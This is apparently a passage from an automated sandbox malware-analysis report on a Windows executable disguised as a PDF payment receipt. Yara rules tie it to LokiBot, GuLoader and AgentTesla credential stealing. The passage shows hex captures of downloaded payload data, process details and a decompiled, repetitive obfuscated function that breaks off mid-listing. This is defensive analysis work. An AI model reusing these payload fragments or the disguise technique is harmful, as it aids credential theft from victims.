2022-01-24 07:55:04 UTC	204	IN	Data Raw: 2c ea 13 ec f0 ca 67 8e 8b e6 1d 69 05 8b bb c3 f9 f4 ac ab 7d 70 84 11 dc 8b 9b db 01 a9 93 65 de 17 d9 18 12 5b 5e f4 bf 0b 4f ef 3a f1 a1 98 62 05 90 8b 36 55 3b d0 1f 52 6a 84 65 0f b9 25 49 4c 55 66 2b 59 0b df df 79 48 cd a2 ee 4e a0 82 68 d5 cf 2b 9e c1 fc 0d 3b 05 c0 b5 3a 26 84 74 9c 77 9f 85 08 a7 25 a1 34 7b f6 59 c5 b1 3e f4 5a 71 ba 3a ac 46 dc 18 11 6a 48 8b d6 de f5 8f cc 0c 51 55 35 ec 1f d1 66 69 76 06 70 4e bb 85 3c 79 2d f7 00 1f 30 ab 12 87 c0 36 8c 18 3d 6c c3 6c 2a 2c 91 e2 4f bd 27 89 9f 2b ba 24 d0 51 93 8c 7c f7 91 8d 2f d8 bb 61 ac 8b 51 53 54 6c de 0e 34 97 cc fa 6f 46 2e 84 d3 46 c9 d8 64 d8 d0 b1 69 b8 c4 86 9c bc 6a 01 44 65 76 e1 f9 d8 a5 08 f6 1f 3a c1 57 ce 8e 3d 61 52 ab 05 7b 3d 83 51 29 b3 74 ae 51 f9 fe 0e 85 c9 83 ef Data Ascii: ,gi}pe[^O:b6U;Rje%ILUf+YyHNh+;:&tw%4{Y>Zq:FjHQU5fivpN<y-06=ll*,O'+$Q\|/aQSTl4oF.FdijDev:W=aR{=Q)tQ
2022-01-24 07:55:04 UTC	205	IN	Data Raw: a5 13 17 e0 55 3c 3d a6 15 2a 24 be 35 33 ce a4 85 78 3e 33 3f ef 48 e0 02 b3 13 6f 72 c9 04 53 aa 35 2b d2 60 a7 57 69 e9 29 1e 55 37 61 78 04 3e 54 1d 3b e1 fd 2b 0c a0 63 c0 13 00 31 fc 66 8b b1 88 2f 26 91 b5 8a bd 0d fb 07 0d 0e 49 af d2 ab 73 ab b0 3a 67 28 47 dd c0 56 88 f8 bc 4d cb e5 56 3f 79 6b 06 2f d6 1e 28 6c f9 d5 59 37 58 f4 b0 1c 49 eb a7 ab b0 9f e2 95 c6 75 cb 7a a5 89 3a e3 c4 81 45 88 65 a6 9a 14 f8 62 79 56 1e 06 cf 8c 63 9f a6 78 17 79 b4 16 ee 8c b2 0a 26 1d 26 98 09 e9 67 65 91 6e e3 0a 8c 6e 0d 72 9c d1 92 36 f0 0e 6b 9b 6a 1d 27 82 c3 65 0f 6f 3b e9 f5 ea c7 df 0a 7c 61 93 6b 20 0c cd 59 d7 47 93 07 f9 48 ce 4e af c1 5a 0e 61 02 fb f5 62 b4 74 90 dd db c7 09 c9 51 d2 b9 1d 5d 34 d6 66 2a 97 85 a1 b7 56 a6 0a 28 32 97 55 c3 a3 2d Data Ascii: U<=$53x>3?HorS5+`Wi)U7ax>T;+c1f/&Is:g(GVMV?yk/(lY7XIuz:EebyVcxy&&gennr6kj'eo;\|ak YGHNZabtQ]4fV(2U-
2022-01-24 07:55:04 UTC	207	IN	Data Raw: 73 de 13 d1 bf 45 c3 71 1a 70 8e 5b 45 12 94 f5 4f aa 34 ea eb 60 d0 4e a7 3a f4 8d 3b 9c a8 bb 63 f3 ae 72 b4 e2 7e 57 46 71 e2 08 5d f1 bc bd 0d 3e 6a eb a6 46 83 f4 73 97 e2 a7 61 af aa f2 d7 d6 00 76 33 02 77 af 98 e1 93 44 cb 1f 3b e6 32 f1 8d 38 76 5e a8 69 02 76 e6 39 4e d8 04 ae 23 80 96 55 f6 bd e3 99 5b 57 02 1f c1 cc 25 59 12 48 30 86 6a 51 cd eb 4e 0b 7e 64 71 cd b8 9b d1 06 de 3c 8a db 25 0f b9 17 16 df 2e 46 7e 9a a2 76 77 3f 48 69 b7 30 b5 ae d8 b5 2f fb a8 c3 59 82 54 a7 5b 60 c0 fc 45 cf 78 71 45 34 43 e4 47 15 e0 b3 ee 86 2a 7f 97 95 bf 36 c7 65 56 54 db 18 eb d9 80 4d 8d 39 9e 8f 76 0c 9c a1 d9 f0 6b 05 30 37 c0 82 06 0e 1c 6a 0e f7 ec 9b 6e 9c 4b 0a 97 fa ac ec 1a 67 82 4e 3f e2 77 55 a1 e4 dc 81 d5 5b ed f9 48 de f1 f7 d3 41 1f d3 5e Data Ascii: sEqp[EO4`N:;cr~WFq]>jFsav3wD;28v^iv9N#U[W%YH0jQN~dq<%.F~vw?Hi0/YT[`ExqE4CG*6eVTM9vk07jnKgN?wU[HA^
2022-01-24 07:55:04 UTC	208	IN	Data Raw: 13 53 1d f3 60 fc cc de 62 79 f3 c3 f1 77 e5 3d 11 e1 16 b1 76 e3 16 54 1a 9c 84 eb 4d b3 4e 00 f4 0f 56 48 f3 a4 35 57 15 3f bc 9a 88 b4 a1 61 23 14 e1 1d 7a 75 a3 0d a5 26 e5 50 b4 55 9f 29 cb 96 3b 61 19 7f b9 88 37 c7 06 f5 85 b1 f2 48 aa 37 b9 f4 6a a4 c1 8c 89 90 ee a9 df b7 06 c2 70 62 4c eb 3c 84 da 48 b9 ec d5 b2 74 14 cc eb 86 c0 ad 3b c8 9d 06 d4 ea f6 6d db 24 62 ca fe ae d4 12 bb 01 8a 1c ac b1 07 b6 3f e2 09 f7 25 35 97 0e 0e fc 7f 1d c9 e1 d3 d1 f3 ab 2e d8 97 12 62 90 fa 70 9c 37 f6 72 60 57 23 3c 4c 0f 8c 51 32 a3 72 27 a8 22 40 8a 55 82 80 bb 17 ea 8a ae 65 1a e3 63 fc b2 8b 8c df 5e f0 16 ff 65 fc c2 c1 b8 76 de 60 ba b0 70 a6 f8 22 58 32 8e bd 56 34 91 5b 91 41 62 17 0b df fd d3 87 4c a8 fb a8 1f 96 a5 21 d3 7f 39 a7 74 06 51 57 44 a2 Data Ascii: S`byw=vTMNVH5W?a#zu&PU);a7H7jpbL<Ht;m$b?%5.bp7r`W#<LQ2r'"@Uec^ev`p"X2V4[AbL!9tQWD
2022-01-24 07:55:04 UTC	209	IN	Data Raw: 2d b4 aa de ac 2c e8 36 5f 5c 9a 48 a1 4b 7d db e1 44 d5 7c 72 40 3d 6f f9 5b 11 e2 2f ff 93 88 76 8b 98 ac 24 d4 18 4a 56 ed 4d 91 af d4 29 ee 0a ca e8 09 27 c9 c4 a9 9a 1e 74 60 42 ee d0 69 64 66 0b 6a 9f 83 f5 45 d2 21 63 ef b2 da 85 6f 39 eb 3a 5f d4 04 2f c6 99 2a eb b4 3a 8f fe 19 2e 91 94 a9 2a 48 84 0a a3 37 56 c3 50 c7 91 5d 0f 48 73 c5 6a 9f f6 b9 15 60 52 03 09 8e 2f 5f 4d d5 59 e0 ef 80 ca ee 79 e8 c4 e2 a4 f6 fb 8b 74 af 16 3a 46 8b e1 e9 35 91 21 a2 c5 ec 3a c0 3d bc dc 4b 39 19 41 de 61 7f 30 bf 36 ab 61 65 62 16 98 b4 42 f6 c3 a7 43 73 62 16 48 33 ef 7e 2f 71 cd 3c 55 bd b9 e2 04 23 55 41 e7 2a 96 00 dc 78 6a 1c b3 04 31 dd 27 eb a4 6a f6 a2 68 a7 54 18 10 41 7c 3b 6e 3b 0f 6d 2b b5 96 39 ed 43 7f be 78 11 d3 a2 7b ea da 95 4f 4c 8d ce e1 Data Ascii: -,6_\HK}D\|r@=o[/v$JVM)'t`BidfjE!co9:_/:.H7VP]Hsj`R/_MYyt:F5!:=K9Aa06aebBCsbH3~/q<U#UA*xj1'jhTA\|;n;m+9Cx{OL
2022-01-24 07:55:04 UTC	210	IN	Data Raw: 2f 0c 73 b2 93 b1 ef 7b 1c ae 5f b5 56 91 79 0c 1b 37 db 6d 1f 77 f0 bb 90 c1 80 7a 2c 94 80 56 d2 a1 e4 98 5a 4d 05 0a cc cb 0d 59 08 79 33 8c 78 76 f9 ee 59 8a ec 52 66 e5 94 b9 fe 14 e1 3f 88 c5 36 1b a7 2b 0b d3 23 49 7c 80 a3 63 77 21 47 67 82 37 a4 aa c4 ae 21 f7 ab c6 50 80 d5 73 58 65 cc 7c 8c da f9 be 4b 2e 76 eb 54 94 29 b1 fc 01 df 69 ff 89 d8 29 48 3d 5d 46 6e ea 97 8a f4 3a 62 6a cf ea 17 2c c1 d8 b7 81 02 62 5b 4a f2 ce 68 6d 68 03 6c 96 8e f5 45 c1 2a 79 65 c7 df 9f 69 2a fc a5 db 84 0a 02 d0 99 2a 6b a4 b6 00 e3 1e ab 9c 98 ba 21 52 0e 96 b4 a8 d6 d0 48 d0 1b 4c 0f 48 7d 5b 49 1b cb b3 06 6b 52 03 17 a3 27 59 53 d6 59 5a fa 9d ce f8 7c e8 d6 62 af fc 61 85 69 ae 01 27 53 96 e4 e7 3b 9d 2e 25 5a 7c a1 50 2a 23 54 53 1c 0a c2 dd 44 7c 1e ac Data Ascii: /s{_Vy7mwz,VZMYy3xvYRf?6+#I\|cw!Gg7!PsXe\|K.vT)i)H=]Fn:bj,b[JhmhlEyeik!RHLH}[IkR'YSYZ\|bai'S;.%Z\|P#TSD\|
2022-01-24 07:55:04 UTC	211	IN	Data Raw: 0b 63 91 83 24 c9 9b 5b 8a ca cf 44 a6 2f 3f b7 6a 4c 48 83 07 4d d0 c7 d7 a2 16 42 f4 66 50 73 7b 9d d4 d5 35 ff 5a 2a 67 8b 55 f6 88 5d f0 29 c9 9d 15 c6 ea f1 6f c7 3e 03 df ec 33 6d 0e a9 0e 05 ba bf b6 97 a6 9b fd 07 c3 22 22 80 00 93 67 79 1a 5a 20 4b c2 6c 32 2a f6 83 13 e3 01 fd 72 1c 76 e6 7c 72 5f 1e 3b 43 15 1f f1 3a b1 18 33 a6 bf 02 9c 3c 8b 9f a9 0e e7 85 a7 7f 08 64 e6 ed a2 9b 97 dd d1 6f 96 7c 6d 93 cb d6 b1 7a d9 f3 a2 28 64 a6 f8 26 55 32 95 ad d9 a3 8c 5c 02 80 e6 13 18 df e1 40 77 57 a8 17 3f 0c e9 36 e0 9d 64 36 23 22 6c 42 5c 4e ad b5 3e 37 a9 cf 90 34 bd c5 1c ad a3 6f fa 9c f3 69 5a 46 b4 a8 79 5c ed 1b e9 93 b2 f2 e7 93 69 c8 5a 10 b7 29 2e 49 4f 01 c7 3a da 36 d0 31 b7 59 7d 05 0d e8 b0 5c 4b e6 82 6c 2c 2f 5e 9e 7b a5 03 34 95 Data Ascii: c$[D/?jLHMBfPs{5ZgU])o>3m""gyZ Kl2rv\|r_;C:3<do\|mz(d&U2\@wW?6d6#"lB\N>74oiZFy\iZ).IO:61Y}\Kl,/^{4
2022-01-24 07:55:04 UTC	213	IN	Data Raw: 8a 02 ed 42 c1 2a 7e f6 30 69 9a 64 2a e6 29 52 81 04 0f dd 97 b4 f2 aa 3c 89 f7 16 b0 9c 93 a7 26 48 82 1f b7 2d 5a d1 43 df 9c 48 17 51 7d 5b 49 01 f9 d8 15 79 6c 01 18 85 32 45 d1 49 4a 70 7f dd da f2 e5 74 d7 72 2c a4 64 8c 67 b6 05 2d da ce ee 85 33 82 32 b5 56 cf 03 da 33 af cc 44 bd 92 c2 dd fd 3a 2b bf de 35 40 75 e2 45 96 a9 4d f5 cd b7 d7 21 f2 92 0a 2f 88 73 2d 60 d5 30 5c b0 ac fa 0b 30 58 41 ec 24 9e 0a d2 45 6e 1c bc 0e 33 da 28 6c ad 7d e1 28 61 a5 71 19 05 55 73 bf ea 3f 01 eb 7b a7 84 3e 7f 56 fa a3 76 81 12 85 7b e1 ce 80 57 5f 9f dd f3 a0 64 9e 86 2a 79 54 e2 f5 cc 0c b6 f9 42 1d 73 2b a6 85 33 e7 99 d4 2d be 31 12 58 1a 03 7f 21 9b 77 52 0d 87 9f 09 51 23 82 5e f2 48 8a 43 9f e1 c9 82 71 3e 00 bc b5 8a cb 41 0c 39 ef 3c 86 35 b7 87 59 Data Ascii: B~0id)R<&H-ZCHQ}[Iyl2EIJptr,dg-32V3D:+5@uEM!/s-`0\0XA$En3(l}(aqUs?{>Vv{W_d*yTBs+3-1X!wRQ#^HCq>A9<5Y
2022-01-24 07:55:04 UTC	214	IN	Data Raw: 74 da 7c 8e b1 4a 53 90 4d 8b dd f5 32 02 dc fa 40 9b c0 bb 68 b0 5e 91 36 e0 44 6b 39 a7 70 0b 51 57 5a be b5 24 ab 96 d5 0c 7a ae d4 80 92 b4 26 f3 89 9a 75 6b 68 a6 80 7f 43 ca 15 e9 6b f7 c0 67 c1 52 ce 41 3e bb 29 9a da 53 88 5d 36 c6 4d 4d eb b7 5f 77 06 3c 69 8b dc b0 fc a1 69 22 55 56 85 7c b4 82 0f 1c 6a 35 2c ce 94 f2 22 67 92 68 68 27 d7 16 ff af 56 b7 7f 77 08 a1 0a 5e 76 c4 82 3a dd c5 87 fa e7 a9 48 95 30 fb 82 29 a7 e6 ea 4d ba db 2a d8 9a 9c 1f 31 30 8d 7a 59 d9 b8 a7 79 24 4d f2 b5 c4 81 bb 04 a5 bd d3 06 c8 b8 70 d6 dc 0e 78 2f 18 56 af 83 be 68 6f 9e 74 45 bf 77 82 fa 44 07 b9 de 6b 0c 6e e2 13 4c d2 09 86 22 89 98 d3 d3 be ef 99 5b 56 11 96 f0 ca 02 5b 07 48 3f 82 7f 66 d4 6c 77 02 69 71 60 e5 3d 82 d7 34 ea 39 9c 58 12 03 92 37 0b d4 Data Ascii: t\|JSM2@h^6Dk9pQWZ$z&ukhCkgRA>)S]6MM_w<ii"UV\|j5,"ghh'Vw^v:H0)M*10zYy$Mpx/VhotEwDknL"[V[H?flwiq`=49X7
2022-01-24 07:55:04 UTC	215	IN	Data Raw: 75 f6 a1 f0 ac 50 10 1e 4e 7c 30 71 30 1b 64 35 b5 98 aa f0 df 6d aa 6c 0e 5a 85 7b ec ce 95 44 4c 92 ce fe a8 7b 0d a2 6b 65 35 f7 bc c6 06 a5 e6 dc 6e 68 08 ae b7 b0 67 8b cf 23 ad b0 31 41 15 17 71 28 9a 6d dd d8 9f be 1e 56 26 9e cf 69 59 96 d2 c2 ea cd 97 fc af 1d a6 3c c2 dc 5b 85 bd f2 2f 94 3a dc 92 5d a0 66 35 33 1b 5a a8 c8 8e 5b c0 17 71 14 f9 66 e5 cb d4 7c 79 f3 9f fd 6b 9c 3c 09 fa 0b af 77 f3 8a 95 04 96 83 f4 4d b3 fa d3 f8 93 ab 48 fc fe 00 1e 17 6f bc cb 82 87 b0 50 2b 26 fd 3e 4f 5b be 17 bf 2a ea c3 5c 40 91 0b d8 97 22 e2 64 7c 0f 37 3b 58 ae fe 98 a3 d5 cb 75 38 96 f7 6a a5 a5 9b 21 45 ee 40 19 b2 24 c1 6c 69 4a f5 1b 8c c7 5a a4 f0 5a 3b 73 18 4e 92 9e da a2 a7 19 89 0e da 74 4d 72 c9 ae 0f c1 dd b3 c9 1a b5 9f 3d 1a ab 21 e3 2e 1e Data Ascii: uPN\|0q0d5mlZ{DL{ke5nhg#1Aq(mV&iY<[/:]f53Z[qf\|yk<wMHoP+&>O[*\@"d\|7;Xu8j!E@$liJZZ;sNtMr=!.
2022-01-24 07:55:04 UTC	216	IN	Data Raw: da 83 15 31 31 0a e8 6e 40 e3 dd bc 0a 29 43 fb bb 54 ed a4 16 aa b0 dc 0a cf 29 17 dd cc 69 76 a7 f5 6a bd 16 40 f8 eb 3d 5c 5e a7 59 8d f5 59 1b 29 5a 58 0c 60 60 0a 5e 53 e5 bc a0 29 82 4d c4 3f 04 97 dd e5 12 96 68 d2 19 44 06 5f b6 25 7e 44 c4 ff cc cb 62 4a 67 e5 b4 a7 cd 09 ee 36 83 c5 36 02 b4 2a 13 cd 36 44 60 99 a7 63 6e 32 55 74 ab 35 b1 a4 cb 28 c6 fe b6 c0 50 8f 50 ae 4d 65 de fc 53 4b 94 7d 42 34 6f eb 54 97 01 bf 6f 8c 18 fa 9f 89 d8 2a 48 15 52 74 ef 59 11 5f f2 08 e1 05 4a 13 1a 30 c8 c3 a5 88 10 e5 a4 56 6f df 66 e0 61 17 04 8a 01 f9 4e c8 2c 65 fb bc c4 84 78 4d f3 3b 48 0d a2 0e d4 8d b5 eb b8 3c 93 6a 96 a4 9c 91 a7 26 4e 9e 94 4b 24 5e cb 58 d0 18 cc 13 58 7e 5a 85 1f e5 bf 07 62 4d 13 06 0a be 56 45 c1 c8 9f fc 93 c1 e8 6a cd d6 75 Data Ascii: 11n@)CT)ivj@=\^YY)ZX``^S)M?hD_%~DbJg666D`cn2Ut5(PPMeSK}B4oToHRtY_J0VofaN,exM;H<j&NK$^XX~ZbMVEju
2022-01-24 07:55:04 UTC	218	IN	Data Raw: be b0 00 49 19 33 b4 93 81 af b1 69 22 08 ff 0e 5d f9 bf 00 3c 31 f0 43 81 40 9d 2b db 96 33 7e 04 6d 8d 86 7e d9 0d ac ea c2 b7 04 c7 53 fb 8f 1b 40 30 ea 60 2a 92 94 b1 c5 6b b4 1e 66 6b f3 3b ac a7 66 9d 98 32 09 13 3e e1 94 a3 e4 85 0a e1 b3 2d fa da 95 40 e3 1f 47 a8 cc 8b a9 38 c4 24 bd 79 89 91 b4 27 3e fc 09 f1 a9 5b 96 12 12 fe 78 08 db 60 5e d0 43 c6 28 f8 96 21 62 98 fc 60 9d 36 e8 72 7c 51 03 3e 4d 07 9f 51 34 a3 71 3b b4 3e e2 e3 56 83 82 a7 06 fa 8b af 70 08 62 ee fd ac 8b 99 cd df 7d 17 be 26 ec b7 ab ce 06 81 80 4a df 65 d9 0a 05 34 4e e5 da 76 5e e1 22 83 c0 fb 16 05 2e ca 52 3a 19 ba 7a 31 1e 84 24 61 dd 6a 2b 26 30 05 5f 59 46 b0 bb 36 2a a7 c7 8d 3a a0 c6 01 a3 a6 4f fb 8e 9e 67 5e 66 b4 b5 77 47 ea 15 fb 12 f2 e0 66 d3 67 c0 47 1e b9 Data Ascii: I3i"]<1C@+3~m~S@0`kfk;f2>-@G8$y'>[x`^C(!b`6r\|Q>MQ4q;>Vpb}&Je4Nv^".R:z1$aj+&0_YF6:Og^fwGfgG
2022-01-24 07:55:04 UTC	219	IN	Data Raw: 4b aa 6c 32 39 8e 38 bf c7 9d 4b 92 78 ba 85 72 56 e2 a7 c4 eb 38 07 26 29 c0 a4 46 43 56 08 67 b8 a0 c8 60 f3 57 0e 84 c7 aa f1 1e 5d d0 2a 50 ac 23 25 f3 ab 88 d2 c4 51 f0 9e 6e df e0 f3 c3 74 32 e5 61 cf 46 36 aa 28 b1 b9 2d 7f 21 01 aa 45 3f 9e c3 66 5f 3c 65 7c ee 4a 36 23 fd 26 0b 9d ef a0 93 0b 8b a2 4d ce 8b 14 b8 08 d9 66 11 2d bd de d2 36 95 1c 87 f7 4e 03 fd 18 81 e5 24 59 7a b6 aa 0f 0e 5b c9 1a d4 24 04 16 71 f1 c8 2d b7 a6 d3 33 0d c0 7f 2f 4b 84 0f 17 4e a9 46 1b d6 d2 88 65 5b 22 6b cf 59 ff 43 b5 06 0a 67 cc 39 16 ba 54 05 d6 05 c6 0f 57 a0 54 3e 30 60 41 1e 53 02 3c 18 5e d8 ff 4e 1e a3 06 c6 34 72 3b fd 0f 83 a3 ef 2f 22 af de f7 9d 4a ac 27 56 44 4e 95 ff b1 76 c2 83 26 2d 63 22 8f 85 0d d5 e3 bb 56 dc c6 76 3f 7b 6b 4f 22 92 43 73 64 Data Ascii: Kl298KxrV8&)FCVg`W]*P#%Qnt2aF6(-!E?f_<e\|J6#&Mf-6N$Yz[$q-3/KNFe["kYCg9TWT>0`AS<^N4r;/"J'VDNv&-c"Vv?{kO"Csd

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: pago del 20.01.2022.PDF______________________________________.exePID: 6452, Parent PID: 4556

General

Start time:	08:54:19
Start date:	24/01/2022
Path:	C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe"
Imagebase:	0x400000
File size:	218216 bytes
MD5 hash:	4A3D98A8485779447C637CAF1CCAD892
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan copy.pdf.r11, Source: 00000000.00000002.371007980.000000000040B000.00000020.00020000.sdmp, Author: Florian Roth Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan copy.pdf.r11, Source: 00000000.00000000.274792398.000000000040B000.00000020.00020000.sdmp, Author: Florian Roth
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: CasPol.exePID: 2132, Parent PID: 6452

General

Start time:	08:54:42
Start date:	24/01/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\pago del 20.01.2022.PDF______________________________________.exe"
Imagebase:	0x880000
File size:	107624 bytes
MD5 hash:	F866FC1C2E928779C7119353C3091F0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000D.00000002.548386393.000000001DB81000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.548386393.000000001DB81000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 0000000D.00000000.325076127.0000000000D00000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 2976, Parent PID: 2132

General

Start time:	08:54:43
Start date:	24/01/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: pago del 20.01.2022.PDF______________________________________.exePID: 6452, Parent PID: 4556COMMON

Execution Graph

Execution Coverage:	36.9%
Dynamic/Decrypted Code Coverage:	1.1%
Signature Coverage:	2.2%
Total number of Nodes:	369
Total number of Limit Nodes:	44

Executed Functions

Function 00411002 Relevance: 3.6, APIs: 1, Instructions: 2338
memoryCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 36%

			E00411002() {
				signed int* _t13;
				intOrPtr _t20;
				intOrPtr* _t21;
				void* _t31;
				void* _t32;
				void* _t39;
				signed char _t41;
				signed int _t46;
				signed int _t60;
				void* _t61;
				intOrPtr* _t62;

				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
				 *_t13 =  *_t13 | _t41;
				_push(ss);
